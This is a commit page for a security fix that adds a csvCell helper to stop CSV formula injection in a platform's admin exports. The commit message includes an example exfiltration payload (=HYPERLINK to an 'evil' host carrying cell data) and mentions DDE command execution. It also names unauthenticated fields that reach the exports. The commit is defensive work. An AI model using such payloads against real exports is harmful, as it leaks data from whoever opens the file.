fix(security): defang CSV formula injection in all exports
CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r`
are interpreted as formulas by Excel and LibreOffice when the file is
opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus
with no prompt and can exfiltrate row data to an attacker URL; DDE
(`=cmd|...`) reaches RCE behind the "enable content" prompt.
The platform exposes anonymous-attacker reachable sinks:
- `application.submit` is publicProcedure with `projectName` as
`z.string().min(2).max(200)` — no character filter — so a project
titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every
admin export that includes Project.title.
- `userAgent` from any unauthenticated request is persisted to
`AuditLog.userAgent` and dumped verbatim into the audit-log CSV.
Three independent CSV builders all only escaped commas/quotes/newlines
and missed the formula-prefix class:
- `src/components/shared/csv-export-dialog.tsx` — used by
export.evaluations, export.assignments, export.filteringResults,
export.auditLogs, export.projectScores
- `src/components/admin/round/ranking-dashboard.tsx`
- `src/server/routers/lunch.ts` (lunch.exportManifestCsv)
Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that
prefixes a single quote when the value starts with a formula trigger,
then applies the standard quote/escape rules. Wired into all three
builders.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
40
src/lib/csv.ts
Normal file
40
src/lib/csv.ts
Normal file
@@ -0,0 +1,40 @@
|
||||
/**
|
||||
* CSV cell escaping that prevents formula injection.
|
||||
*
|
||||
* A CSV cell whose first character is `=`, `+`, `-`, `@`, `\t`, or `\r` is
|
||||
* interpreted as a formula by Excel and LibreOffice when the file is opened.
|
||||
* Even with the "enable content" prompt for DDE, `=HYPERLINK(...)` and
|
||||
* `=WEBSERVICE(...)` execute on cell focus and can exfiltrate row data to an
|
||||
* attacker-controlled URL. Because user-controlled fields (project titles,
|
||||
* names, free-text feedback, User-Agent strings persisted to audit logs) end
|
||||
* up in our exports, we must defang any leading formula character.
|
||||
*
|
||||
* The defense: prefix the cell with a single quote `'` so spreadsheet apps
|
||||
* treat the value as text. Then apply standard CSV quoting (wrap in `"` and
|
||||
* double-up internal quotes) when the cell contains commas, quotes, or
|
||||
* newlines.
|
||||
*/
|
||||
export function csvCell(value: unknown): string {
|
||||
if (value === null || value === undefined) return ''
|
||||
let s = String(value)
|
||||
|
||||
if (s.length > 0) {
|
||||
const first = s.charCodeAt(0)
|
||||
// = + - @ \t \r
|
||||
if (
|
||||
first === 0x3d ||
|
||||
first === 0x2b ||
|
||||
first === 0x2d ||
|
||||
first === 0x40 ||
|
||||
first === 0x09 ||
|
||||
first === 0x0d
|
||||
) {
|
||||
s = `'${s}`
|
||||
}
|
||||
}
|
||||
|
||||
if (s.includes(',') || s.includes('"') || s.includes('\n')) {
|
||||
return `"${s.replace(/"/g, '""')}"`
|
||||
}
|
||||
return s
|
||||
}
|
||||
Reference in New Issue
Block a user